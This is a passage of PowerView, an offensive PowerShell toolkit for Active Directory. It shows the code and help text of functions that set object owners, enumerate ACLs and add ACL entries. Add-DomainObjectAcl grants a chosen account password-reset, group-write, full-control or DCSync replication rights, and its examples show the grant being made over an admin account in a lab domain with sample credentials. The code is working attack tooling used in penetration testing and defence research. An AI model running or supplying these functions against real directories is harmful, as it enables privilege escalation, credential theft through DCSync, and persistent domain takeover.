($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 7926 7927 $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid 7928 if ($OwnerSid) { 7929 $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid 7930 } 7931 else { 7932 Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" 7933 } 7934 } 7935 7936 PROCESS { 7937 if ($OwnerIdentityReference) { 7938 $SearcherArguments['Raw'] = $True 7939 $SearcherArguments['Identity'] = $Identity 7940 7941 # splat the appropriate arguments to Get-DomainObject 7942 $RawObject = Get-DomainObject @SearcherArguments 7943 7944 ForEach ($Object in $RawObject) { 7945 try { 7946 Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" 7947 $Entry = $RawObject.GetDirectoryEntry() 7948 $Entry.PsBase.Options.SecurityMasks = 'Owner' 7949 $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) 7950 $Entry.PsBase.CommitChanges() 7951 } 7952 catch { 7953 Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" 7954 } 7955 } 7956 } 7957 } 7958 } 7959 7960 7961 function Get-DomainObjectAcl { 7962 <# 7963 .SYNOPSIS 7964 7965 Returns the ACLs associated with a specific active directory object. By default 7966 the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. 7967 7968 Author: Will Schroeder (@harmj0y) 7969 License: BSD 3-Clause 7970 Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap 7971 7972 .PARAMETER Identity 7973 7974 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 7975 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 7976 Wildcards accepted. 7977 7978 .PARAMETER Sacl 7979 7980 Switch. Return the SACL instead of the DACL for the object (default behavior). 7981 7982 .PARAMETER ResolveGUIDs 7983 7984 Switch. Resolve GUIDs to their display names. 7985 7986 .PARAMETER RightsFilter 7987 7988 A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). 7989 7990 .PARAMETER Domain 7991 7992 Specifies the domain to use for the query, defaults to the current domain. 7993 7994 .PARAMETER LDAPFilter 7995 7996 Specifies an LDAP query string that is used to filter Active Directory objects. 7997 7998 .PARAMETER SearchBase 7999 8000 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 8001 Useful for OU queries. 8002 8003 .PARAMETER Server 8004 8005 Specifies an Active Directory server (domain controller) to bind to. 8006 8007 .PARAMETER SearchScope 8008 8009 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 8010 8011 .PARAMETER ResultPageSize 8012 8013 Specifies the PageSize to set for the LDAP searcher object. 8014 8015 .PARAMETER ServerTimeLimit 8016 8017 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 8018 8019 .PARAMETER Tombstone 8020 8021 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 8022 8023 .PARAMETER Credential 8024 8025 A [Management.Automation.PSCredential] object of alternate credentials 8026 for connection to the target domain. 8027 8028 .EXAMPLE 8029 8030 Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs 8031 8032 Get the ACLs for the matt.admin user in the testlab.local domain and 8033 resolve relevant GUIDs to their display names. 8034 8035 .EXAMPLE 8036 8037 Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs 8038 8039 Enumerate the ACL permissions for all OUs in the domain. 8040 8041 .EXAMPLE 8042 8043 Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl 8044 8045 Enumerate the SACLs for all OUs in the domain, resolving GUIDs. 8046 8047 .EXAMPLE 8048 8049 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 8050 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 8051 Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs 8052 8053 .OUTPUTS 8054 8055 PowerView.ACL 8056 8057 Custom PSObject with ACL entries. 8058 #> 8059 8060 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 8061 [OutputType('PowerView.ACL')] 8062 [CmdletBinding()] 8063 Param ( 8064 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 8065 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 8066 [String[]] 8067 $Identity, 8068 8069 [Switch] 8070 $Sacl, 8071 8072 [Switch] 8073 $ResolveGUIDs, 8074 8075 [String] 8076 [Alias('Rights')] 8077 [ValidateSet('All', 'ResetPassword', 'WriteMembers')] 8078 $RightsFilter, 8079 8080 [ValidateNotNullOrEmpty()] 8081 [String] 8082 $Domain, 8083 8084 [ValidateNotNullOrEmpty()] 8085 [Alias('Filter')] 8086 [String] 8087 $LDAPFilter, 8088 8089 [ValidateNotNullOrEmpty()] 8090 [Alias('ADSPath')] 8091 [String] 8092 $SearchBase, 8093 8094 [ValidateNotNullOrEmpty()] 8095 [Alias('DomainController')] 8096 [String] 8097 $Server, 8098 8099 [ValidateSet('Base', 'OneLevel', 'Subtree')] 8100 [String] 8101 $SearchScope = 'Subtree', 8102 8103 [ValidateRange(1, 10000)] 8104 [Int] 8105 $ResultPageSize = 200, 8106 8107 [ValidateRange(1, 10000)] 8108 [Int] 8109 $ServerTimeLimit, 8110 8111 [Switch] 8112 $Tombstone, 8113 8114 [Management.Automation.PSCredential] 8115 [Management.Automation.CredentialAttribute()] 8116 $Credential = [Management.Automation.PSCredential]::Empty 8117 ) 8118 8119 BEGIN { 8120 $SearcherArguments = @{ 8121 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' 8122 } 8123 8124 if ($PSBoundParameters['Sacl']) { 8125 $SearcherArguments['SecurityMasks'] = 'Sacl' 8126 } 8127 else { 8128 $SearcherArguments['SecurityMasks'] = 'Dacl' 8129 } 8130 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 8131 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 8132 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 8133 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 8134 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 8135 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 8136 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 8137 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 8138 $Searcher = Get-DomainSearcher @SearcherArguments 8139 8140 $DomainGUIDMapArguments = @{} 8141 if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } 8142 if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } 8143 if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } 8144 if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } 8145 if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } 8146 8147 # get a GUID -> name mapping 8148 if ($PSBoundParameters['ResolveGUIDs']) { 8149 $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments 8150 } 8151 } 8152 8153 PROCESS { 8154 if ($Searcher) { 8155 $IdentityFilter = '' 8156 $Filter = '' 8157 $Identity | Where-Object {$_} | ForEach-Object { 8158 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 8159 if ($IdentityInstance -match '^S-1-.*') { 8160 $IdentityFilter += "(objectsid=$IdentityInstance)" 8161 } 8162 elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { 8163 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 8164 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 8165 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 8166 # and rebuild the domain searcher 8167 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 8168 Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 8169 $SearcherArguments['Domain'] = $IdentityDomain 8170 $Searcher = Get-DomainSearcher @SearcherArguments 8171 if (-not $Searcher) { 8172 Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'" 8173 } 8174 } 8175 } 8176 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { 8177 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' 8178 $IdentityFilter += "(objectguid=$GuidByteString)" 8179 } 8180 elseif ($IdentityInstance.Contains('.')) { 8181 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" 8182 } 8183 else { 8184 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" 8185 } 8186 } 8187 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 8188 $Filter += "(|$IdentityFilter)" 8189 } 8190 8191 if ($PSBoundParameters['LDAPFilter']) { 8192 Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" 8193 $Filter += "$LDAPFilter" 8194 } 8195 8196 if ($Filter) { 8197 $Searcher.filter = "(&$Filter)" 8198 } 8199 Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" 8200 8201 $Results = $Searcher.FindAll() 8202 $Results | Where-Object {$_} | ForEach-Object { 8203 $Object = $_.Properties 8204 8205 if ($Object.objectsid -and $Object.objectsid[0]) { 8206 $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value 8207 } 8208 else { 8209 $ObjectSid = $Null 8210 } 8211 8212 try { 8213 New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { 8214 if ($PSBoundParameters['RightsFilter']) { 8215 $GuidFilter = Switch ($RightsFilter) { 8216 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } 8217 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } 8218 Default { '00000000-0000-0000-0000-000000000000' } 8219 } 8220 if ($_.ObjectType -eq $GuidFilter) { 8221 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] 8222 $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid 8223 $Continue = $True 8224 } 8225 } 8226 else { 8227 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] 8228 $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid 8229 $Continue = $True 8230 } 8231 8232 if ($Continue) { 8233 $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) 8234 if ($GUIDs) { 8235 # if we're resolving GUIDs, map them them to the resolved hash table 8236 $AclProperties = @{} 8237 $_.psobject.properties | ForEach-Object { 8238 if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { 8239 try { 8240 $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] 8241 } 8242 catch { 8243 $AclProperties[$_.Name] = $_.Value 8244 } 8245 } 8246 else { 8247 $AclProperties[$_.Name] = $_.Value 8248 } 8249 } 8250 $OutObject = New-Object -TypeName PSObject -Property $AclProperties 8251 $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') 8252 $OutObject 8253 } 8254 else { 8255 $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') 8256 $_ 8257 } 8258 } 8259 } 8260 } 8261 catch { 8262 Write-Verbose "[Get-DomainObjectAcl] Error: $_" 8263 } 8264 } 8265 } 8266 } 8267 } 8268 8269 8270 function Add-DomainObjectAcl { 8271 <# 8272 .SYNOPSIS 8273 8274 Adds an ACL for a specific active directory object. 8275 8276 AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 8277 8278 Author: Will Schroeder (@harmj0y) 8279 License: BSD 3-Clause 8280 Required Dependencies: Get-DomainObject 8281 8282 .DESCRIPTION 8283 8284 This function modifies the ACL/ACE entries for a given Active Directory 8285 target object specified by -TargetIdentity. Available -Rights are 8286 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended 8287 rights GUID can be set with -RightsGUID. These rights are granted on the target 8288 object for the specified -PrincipalIdentity. 8289 8290 .PARAMETER TargetIdentity 8291 8292 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 8293 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 8294 for the domain object to modify ACLs for. Required. Wildcards accepted. 8295 8296 .PARAMETER TargetDomain 8297 8298 Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. 8299 8300 .PARAMETER TargetLDAPFilter 8301 8302 Specifies an LDAP query string that is used to filter Active Directory object targets. 8303 8304 .PARAMETER TargetSearchBase 8305 8306 The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 8307 Useful for OU queries. 8308 8309 .PARAMETER PrincipalIdentity 8310 8311 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 8312 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 8313 for the domain principal to add for the ACL. Required. Wildcards accepted. 8314 8315 .PARAMETER PrincipalDomain 8316 8317 Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. 8318 8319 .PARAMETER Server 8320 8321 Specifies an Active Directory server (domain controller) to bind to. 8322 8323 .PARAMETER SearchScope 8324 8325 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 8326 8327 .PARAMETER ResultPageSize 8328 8329 Specifies the PageSize to set for the LDAP searcher object. 8330 8331 .PARAMETER ServerTimeLimit 8332 8333 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 8334 8335 .PARAMETER Tombstone 8336 8337 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 8338 8339 .PARAMETER Credential 8340 8341 A [Management.Automation.PSCredential] object of alternate credentials 8342 for connection to the target domain. 8343 8344 .PARAMETER Rights 8345 8346 Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. 8347 Defaults to 'All'. 8348 8349 .PARAMETER RightsGUID 8350 8351 Manual GUID representing the right to add to the target. 8352 8353 .EXAMPLE 8354 8355 $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid 8356 Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} 8357 8358 ... 8359 8360 Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose 8361 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 8362 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) 8363 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 8364 VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) 8365 VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local 8366 VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local 8367 8368 Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } 8369 8370 AceQualifier : AccessAllowed 8371 ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local 8372 ActiveDirectoryRights : ExtendedRight 8373 ObjectAceType : User-Force-Change-Password 8374 ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 8375 InheritanceFlags : None 8376 BinaryLength : 56 8377 AceType : AccessAllowedObject 8378 ObjectAceFlags : ObjectAceTypePresent 8379 IsCallback : False 8380 PropagationFlags : None 8381 SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 8382 AccessMask : 256 8383 AuditFlags : None 8384 IsInherited : False 8385 AceFlags : None 8386 InheritedObjectAceType : All 8387 OpaqueLength : 0 8388 8389 .EXAMPLE 8390 8391 $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid 8392 Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} 8393 8394 [no results returned] 8395 8396 $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force 8397 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 8398 Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose 8399 VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain 8400 VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential 8401 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 8402 VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection 8403 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) 8404 VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain 8405 VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential 8406 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 8407 VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection 8408 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) 8409 VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local 8410 VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local 8411 8412 Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } 8413 8414 AceQualifier : AccessAllowed 8415 ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local 8416 ActiveDirectoryRights : ExtendedRight 8417 ObjectAceType : User-Force-Change-Password 8418 ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 8419 InheritanceFlags : None 8420 BinaryLength : 56 8421 AceType : AccessAllowedObject 8422 ObjectAceFlags : ObjectAceTypePresent 8423 IsCallback : False 8424 PropagationFlags : None 8425 SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 8426 AccessMask : 256 8427 AuditFlags : None 8428 IsInherited : False 8429 AceFlags : None 8430 InheritedObjectAceType : All 8431 OpaqueLength : 0 8432 8433 .LINK 8434 8435 https://adsecurity.org/?p=1906 8436 https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell 8437 #> 8438 8439 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 8440 [CmdletBinding()] 8441 Param ( 8442 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 8443 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 8444 [String[]] 8445 $TargetIdentity, 8446 8447 [ValidateNotNullOrEmpty()] 8448 [String] 8449 $TargetDomain, 8450 8451 [ValidateNotNullOrEmpty()] 8452 [Alias('Filter')] 8453 [String] 8454 $TargetLDAPFilter, 8455 8456 [ValidateNotNullOrEmpty()] 8457 [String] 8458 $TargetSearchBase, 8459 8460 [Parameter(Mandatory = $True)] 8461 [ValidateNotNullOrEmpty()] 8462 [String[]] 8463 $PrincipalIdentity, 8464 8465 [ValidateNotNullOrEmpty()] 8466 [String] 8467 $PrincipalDomain, 8468 8469 [ValidateNotNullOrEmpty()] 8470 [Alias('DomainController')] 8471 [String] 8472 $Server, 8473 8474 [ValidateSet('Base', 'OneLevel', 'Subtree')] 8475 [String] 8476 $SearchScope = 'Subtree', 8477 8478 [ValidateRange(1, 10000)] 8479 [Int] 8480 $ResultPageSize = 200, 8481 8482 [ValidateRange(1, 10000)] 8483 [Int] 8484 $ServerTimeLimit, 8485 8486 [Switch] 8487 $Tombstone, 8488 8489 [Management.Automation.PSCredential] 8490 [Management.Automation.CredentialAttribute()] 8491 $Credential = [Management.Automation.PSCredential]::Empty, 8492 8493 [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] 8494 [String] 8495 $Rights = 'All', 8496 8497 [Guid] 8498 $RightsGUID 8499 ) 8500 8501 BEGIN { 8502 $TargetSearcherArguments = @{ 8503 'Properties' = 'distinguishedname' 8504 'Raw' = $True 8505 } 8506 if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } 8507 if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } 8508 if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } 8509 if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } 8510 if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } 8511 if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } 8512 if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 8513 if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } 8514 if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } 8515 8516 $PrincipalSearcherArguments = @{ 8517 'Identity' = $PrincipalIdentity 8518 'Properties' = 'distinguishedname,objectsid' 8519 } 8520 if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } 8521 if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } 8522 if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } 8523 if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } 8524 if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 8525 if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } 8526 if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } 8527 $Principals = Get-DomainObject @PrincipalSearcherArguments 8528 if (-not $Principals) { 8529 throw "Unable to resolve principal: $PrincipalIdentity" 8530 } 8531 } 8532 8533 PROCESS { 8534 $TargetSearcherArguments['Identity'] = $TargetIdentity 8535 $Targets = Get-DomainObject @TargetSearcherArguments 8536 8537 ForEach ($TargetObject in $Targets) { 8538 8539 $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' 8540 $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' 8541 $ACEs = @() 8542 8543 if ($RightsGUID) { 8544 $GUIDs = @($RightsGUID) 8545 } 8546 else { 8547 $GUIDs = Switch ($Rights) { 8548 # ResetPassword doesn't need to know the user's current password 8549 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } 8550 # allows for the modification of group membership 8551 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } 8552 # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 8553 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 8554 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c 8555 # when applied to a domain's ACL, allows for the use of DCSync 8556 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} 8557 } 8558 } 8559 8560 ForEach ($PrincipalObject in $Principals) { 8561 Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" 8562 8563 try { 8564 $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) 8565 8566 if ($GUIDs) { 8567 ForEach ($GUID in $GUIDs) { 8568 $NewGUID = New-Object Guid $GUID 8569 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' 8570 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType 8571 } 8572 } 8573 else { 8574 # deault to GenericAll rights 8575 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' 8576 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType 8577 } 8578 8579 # add all the new ACEs to the specified object directory entry 8580 ForEach ($ACE in $ACEs) { 8581 Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" 8582 $TargetEntry = $TargetObject.GetDirectoryEntry() 8583 $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' 8584 $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) 8585 $TargetEntry.PsBase.CommitChanges() 8586 } 8587 } 8588 catch { 8589 Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" 8590 } 8591 } 8592 } 8593 } 8594 } 8595 8596 8597 function Remove-DomainObjectAcl { 8598 <# 8599 .SYNOPSIS 8600 8601 Removes an ACL from a specific active directory object. 8602 8603 Author: Will Schroeder (@harmj0y) 8604 License: BSD 3-Clause 8605 Required Dependencies: Get-DomainObject 8606 8607 .DESCRIPTION 8608 8609 This function modifies the ACL/ACE entries for a given Active Directory 8610 target object specified by -TargetIdentity. Available -Rights are 8611 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended 8612 rights GUID can be set with -RightsGUID. These rights are removed from the target 8613 object for the specified -PrincipalIdentity. 8614 8615 .PARAMETER TargetIdentity 8616 8617 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 8618 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 8619 for the domain object to modify ACLs for. Required. Wildcards accepted. 8620 8621 .PARAMETER TargetDomain 8622 8623 Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. 8624 8625 .PARAMETER TargetLDAPFilter 8626 8627 Specifies an LDAP query string that is used to filter Active Directory object targets. 8628 8629 .PARAMETER TargetSearchBase 8630 8631 The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 8632 Useful for OU queries. 8633 8634 .PARAMETER PrincipalIdentity 8635 8636 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 8637 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 8638 for the domain principal to add for the ACL. Required. Wildcards accepted. 8639 8640 .PARAMETER PrincipalDomain 8641 8642 Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. 8643 8644 .PARAMETER Server 8645 8646 Specifies an Active Directory server (domain controller) to bind to. 8647 8648 .PARAMETER SearchScope 8649 8650 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 8651 8652 .PARAMETER ResultPageSize 8653 8654 Specifies the PageSize to set for the LDAP searcher object. 8655 8656 .PARAMETER ServerTimeLimit 8657 8658 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 8659 8660 .PARAMETER Tombstone 8661 8662 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 8663 8664 .PARAMETER Credential 8665 8666 A [Management.Automation.PSCredential] object of alternate credentials 8667 for connection to the target domain. 8668 8669 .PARAMETER Rights 8670 8671 Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. 8672 